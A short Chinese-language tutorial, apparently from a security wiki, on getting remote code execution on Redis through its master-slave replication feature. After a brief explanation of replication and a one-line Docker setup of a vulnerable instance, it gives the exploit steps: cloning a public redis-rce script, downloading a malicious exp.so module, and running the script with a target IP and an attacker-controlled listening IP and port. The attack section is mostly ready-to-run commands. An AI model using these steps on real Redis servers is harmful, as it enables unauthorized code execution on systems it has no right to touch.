Redis 基于主从复制的 RCE

Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

环境搭建

启动docker

docker run -p 6378:6379 -d redis:latest

然后就没了

漏洞利用

下载Exp

git clone https://github.com/Ridter/redis-rce.git

下载 exp.so

# 下载后放到 redis-rce 目录下
wget --no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so

利用

# 此处可以通过 -p 去设置目标端口(默认6379)
python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so

成功截图

参考

https://paper.seebug.org/975/

https://www.cnblogs.com/paperpen/p/11178751.html

exp汇总

上述的py文件和so文件汇总

点我下载


服务器资源由ZeptoVM赞助

Partners Wiki Discord